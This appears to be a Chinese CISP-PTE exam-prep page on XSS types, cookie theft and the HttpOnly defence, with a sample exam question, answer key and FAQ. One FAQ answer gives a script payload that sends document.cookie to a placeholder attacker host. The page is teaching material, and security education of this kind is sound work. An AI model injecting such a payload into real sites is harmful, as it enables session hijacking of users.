外带 Cookie。" } }, { "@type": "Question", "name": "HttpOnly 有什么作用?", "acceptedAnswer": { "@type": "Answer", "text": "阻止 JS 读取 Cookie,降低 Cookie 被盗风险。" } }, { "@type": "Question", "name": "存储型 XSS 为什么危害更大?", "acceptedAnswer": { "@type": "Answer", "text": "恶意代码持久存于服务器,所有访问该页面的用户都会触发。" } } ] } ] }
AI 助教问 AI 助教
东方瑞通 · CISP-PTE

XSS 跨站脚本与盗取 Cookie

XSS 指攻击者在网页中注入恶意脚本,在受害者浏览器中执行,用于盗取 Cookie、劫持会话等。

考点精讲

  1. 三种类型:反射型(恶意代码在 URL 中,需诱导点击)、存储型(恶意代码存入数据库,访问即触发)、DOM 型(前端 JS 处理 DOM 触发)。盗 Cookie 常用 。防护:过滤输入、转义输出、设置 HttpOnly 阻止 JS 读取 Cookie。

记忆技巧

反射临时、存储持久、DOM 前端
盗 Cookie 用 document.cookie 外带
HttpOnly 阻止 JS 读 Cookie

常见误区

  • 混淆三种 XSS 类型的触发方式
  • 以为 XSS 只能盗 Cookie——还能钓鱼、挂马
  • 忽略 HttpOnly 对 Cookie 的防护作用

真题思路

  • 【示例】 关于 XSS 三种类型,下列说法正确的是()
    反射型 XSS 一旦写入即对所有访问者持续生效 存储型 XSS 将恶意代码存入数据库,用户访问页面即触发 DOM 型 XSS 一定需要经过服务器处理 HttpOnly 会放大 XSS 的危害
    答案:B
    解析:反射型是临时的,存储型才是持久生效,A 错、B 对;DOM 型由前端 JS 处理 DOM 触发、不依赖服务器,C 错;HttpOnly 是防护手段(阻止 JS 读 Cookie),D 错。

常见问题

Q:XSS 三种类型的区别是什么?

A:反射型:恶意代码在 URL 中,需诱导用户点击才触发,临时性;存储型:恶意代码存入数据库,用户访问页面即触发,持久性、危害最大;DOM 型:由前端 JS 处理 DOM 触发,不经过服务器。

Q:如何用 XSS 盗取 Cookie?

A:注入脚本把 document.cookie 发送到攻击者服务器,如 <script>document.location='http://攻击者/?'+document.cookie</script>。

Q:HttpOnly 有什么作用?

A:给 Cookie 设置 HttpOnly 后,浏览器禁止 JS 通过 document.cookie 读取该 Cookie,可有效阻止 XSS 盗取 Cookie。

Q:存储型 XSS 为什么危害更大?

A:存储型 XSS 一旦写入数据库,所有访问该页面的用户都会被触发,无需逐个诱导点击,影响范围大、持续性强。

相关知识

教材出处:第4章 Web 漏洞 XSS 跨站脚本与盗取 Cookie

AI 助教

让 AI 助教带你深入学习,把你卡住的地方直接问它

随时为您答疑解惑

开始答疑